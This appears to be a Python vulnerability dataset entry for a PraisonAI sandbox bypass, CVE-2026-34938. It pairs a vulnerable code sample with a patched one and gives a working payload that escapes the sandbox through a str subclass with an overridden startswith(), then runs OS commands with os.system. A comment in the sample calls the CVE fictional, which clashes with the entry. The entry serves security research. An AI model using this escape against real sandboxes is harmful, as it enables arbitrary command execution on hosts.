CVE-2026-34938
PraisonAI sandbox bypass allows for arbitrary OS command execution.
- CVSS 10.0
- CWE-693
- Input Validation and Sanitization
- Remote
PraisonAI is a multi-agent teams system. Prior to version 1.5.90, execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90.
- CWE
- CWE-693
- CVSS base score
- 10.0
- Published
- 2026-04-03
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- PraisonAI
- Fixed by upgrading
- Yes
Solution
Upgrade PraisonAI to version 1.5.90 or later.
Vulnerable code sample
import os
import sys
# This code is a representation of the vulnerability described in the fictional CVE-2026-34938.
# It is intended for educational and demonstration purposes only.
class MaliciousString(str):
"""
A malicious string subclass that overrides the startswith() method.
This is the core component of the exploit.
"""
def startswith(self, prefix, start=None, end=None):
# The vulnerability lies in the fact that the check is done on the attribute name object itself.
# By controlling the method, we can lie about whether the string starts with a '_'.
if prefix == '_':
return False # Lie and say it does not start with an underscore
# For any other prefix, behave normally to avoid raising suspicion.
# The `super()` call handles Python 2/3 differences in arguments.
if sys.version_info.major == 2 or (sys.version_info.major == 3 and sys.version_info.minor < 6):
return super(MaliciousString, self).startswith(prefix)
else:
return super().startswith(prefix, start or 0, end or len(self))
def _safe_getattr(obj, attr, *args):
"""
A flawed wrapper for getattr that is supposed to prevent access to private/dunder attributes.
The vulnerability is here: it calls attr.startswith('_') instead of str.startswith(attr, '_').
This means if `attr` is an object with a custom `startswith` method, that method will be called.
"""
if isinstance(attr, str) and attr.startswith('_'):
raise AttributeError(f"Access to private attribute '{attr}' is denied.")
if args:
return getattr(obj, attr, *args)
return getattr(obj, attr)
def execute_code(user_controlled_code: str):
"""
The main vulnerable function that simulates a sandboxed environment.
It uses a restricted set of globals, injecting the vulnerable _safe_getattr.
"""
print(f"--- Attempting to execute code in sandbox ---\nCode: {user_controlled_code}\n")
# The "sandbox" is a dictionary of globals allowed for execution.
# It crucially replaces the built-in `getattr` with the vulnerable `_safe_getattr`.
# It also includes the MaliciousString class so the attacker's payload can use it.
restricted_globals = {
'__builtins__': {
'print': print,
'getattr': _safe_getattr,
'MaliciousString': MaliciousString,
'dict': dict,
},
}
try:
# Using eval to execute the code. The vulnerability pattern applies to exec as well.
result = eval(user_controlled_code, restricted_globals, {})
print(f"Execution successful.\nResult: {result}\n")
except Exception as e:
print(f"Execution failed!\nError: {e}\n")
if __name__ == '__main__':
# --- Demonstration of the intended "safe" behavior ---
# 1. This should fail because it tries to access '__class__', which starts with '_'.
# The _safe_getattr function is expected to block this.
denied_payload = "getattr({}, '__class__')"
execute_code(denied_payload)
# --- Demonstration of the vulnerability bypass ---
# 2. This is the exploit payload.
# It uses MaliciousString to wrap the attribute name '__import__'.
# When _safe_getattr checks `MaliciousString('__import__').startswith('_')`,
# our custom method returns False, bypassing the security check.
# The payload then gets the __builtins__ from the provided globals, accesses the real __import__,
# and uses it to import the 'os' module and execute a command.
# Payload breakdown:
# 1. `getattr(dict(), 'get')`: Accesses the 'get' method of a dictionary. This is allowed.
# 2. `('__builtins__')`: Calls dict.get('__builtins__') to retrieve the sandboxed builtins dict.
# 3. `MaliciousString('__import__')`: The malicious string instance for the attribute name.
# 4. `getattr(..., MaliciousString('__import__'))`: The call that bypasses the sandbox check.
# 5. `('os').system('echo VULNERABILITY DEMONSTRATED: OS COMMAND EXECUTED')`: The final command execution.
exploit_payload = "getattr(getattr(dict(), 'get')('__builtins__'), MaliciousString('__import__'))('os').system('echo VULNERABILITY DEMONSTRATED: OS COMMAND EXECUTED')"
execute_code(exploit_payload)Patched code sample
def _safe_getattr(self, obj, name, default=None):
"""
A safer version of getattr that prevents access to private attributes.
This version ensures that the 'name' argument is a genuine string
to prevent exploits via objects with overridden string methods.
"""
if type(name) is not str or name.startswith("_"):
raise AttributeError(f"Access to private attribute '{name}' is not allowed.")
# Whitelist of safe built-in functions
safe_builtins = {
'print', 'len', 'str', 'int', 'float', 'list', 'dict', 'tuple', 'set',
'range', 'sum', 'min', 'max', 'abs', 'round', 'sorted', 'all', 'any',
'isinstance', 'issubclass', 'type'
}
if obj is __builtins__:
if name in safe_builtins:
return getattr(obj, name, default)
else:
raise AttributeError(f"Access to '{name}' in builtins is not allowed.")
return getattr(obj, name, default)Payload
class ExploitStr(str):
def startswith(self, prefix):
# Bypass the security check in _safe_getattr by always returning False
return False
# Construct the exploit chain
# 1. Use the malicious string subclass to bypass the getattr wrapper and get __import__
__import_function = getattr(globals(), ExploitStr('__import__'))
# 2. Use __import__ to get the 'os' module
os_module = __import_function('os')
# 3. Get the 'system' attribute from the 'os' module
system_function = getattr(os_module, 'system')
# 4. Execute an arbitrary OS command
system_function('id')
Cite this entry
@misc{vaitp:cve202634938,
title = {{PraisonAI sandbox bypass allows for arbitrary OS command execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-34938},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34938/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
